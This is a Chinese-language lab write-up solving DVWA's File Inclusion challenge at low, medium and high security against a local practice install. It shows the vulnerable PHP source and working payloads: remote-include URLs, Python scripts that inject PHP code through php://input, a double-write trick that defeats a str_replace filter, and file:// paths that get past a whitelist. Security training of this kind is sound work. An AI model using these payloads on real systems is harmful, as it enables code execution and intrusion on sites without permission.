DVWA File Inclusion

文件包含漏洞

low

查看源码(View Source)


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

分析

$file变量接收到的是文件名。

由于php.ini配置文件中的allow_url_include = On,文件包含可以使用外部的php文件。

实现

百度的首页是由php编写,所以https://www.baidu.com/index.php可以作为参数page的值。

那么,网址为http://localhost/dvwa/vulnerabilities/fi/?page=https://www.baidu.com

实现

medium

查看源码(View Source)


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

分析

后端程序对接收到的文件名进行了过滤,将httphttps协议头替换为空,并且将../相对路径也替换为空。

http协议不行,那ftp和其他的协议呢?

查阅资料得知,php支持多种协议。

实现

这里提供两种思路。

利用PHP伪协议

先进行一个测试。

构造url地址:http://localhost/dvwa/vulnerabilities/fi/?page=php://input

向上面的url发送post请求,请求内容为PHP代码。PHP伪协议会执行收到的代码。

编写Python脚本发送post请求。

import requests

url = "http://localhost/dvwa/vulnerabilities/fi/?page=php://input"

data = """
<?php
$file = fopen("../../hackable/uploads/file.txt", "w+");
$txt = "<?php phpinfo(); ?>";
fwrite($file, $txt);
fclose($file);
"""
headers = {
    "Cookie":"security=medium; PHPSESSID=s6p5eg099ck83h0he0v1djo810"
}

requests.post(url=url,data=data, headers=headers)

由于我在之前已经练习过了文件上传漏洞,了解到uploads文件夹是可写的。如果http://localhost/dvwa/hackable/uploads/file.txt存在,就说明PHP代码执行成功。

再进行一个测试。

import requests

url = "http://localhost/dvwa/vulnerabilities/fi/?page=php://input"

data = "<?php phpinfo(); ?>"
headers = {
    "Cookie":"security=medium; PHPSESSID=s6p5eg099ck83h0he0v1djo810"
}

r = requests.post(url=url,data=data, headers=headers)
print(r.text)

可以知道php的配置信息。

php文件的绝对路径

绝对路径为/var/www/html/dvwa/vulnerabilities/fi/index.php

那么可以知道刚才写入的file.txt的绝对路径(网站没有使用类似Typecho的地址重写),就可以用file://协议了。

url地址为http://localhost/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/hackable/uploads/file.txt

文件包含成功

这样做虽然达到了文件包含的目的,但是操作起来太麻烦了。并且,php://input还需要开启allow_url_include

利用str_replace()函数存在的漏洞

在网上找找其他做法,发现我小题大做了。

其实,php的str_replace()函数是很不安全的,只要“双写”就可以绕过。

http://localhost/dvwa/vulnerabilities/fi/?page=hthttps://tps://www.baidu.com

high

查看源码(View Source)


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

分析

如果文件名中不以file开头并且文件名不是include.php,就会报错。

这是一种白名单,medium level的是黑名单。

实现

偷懒

file:///var/www/html/dvwa/hackable/uploads/file.txt

直接用这个熟悉的地址呗。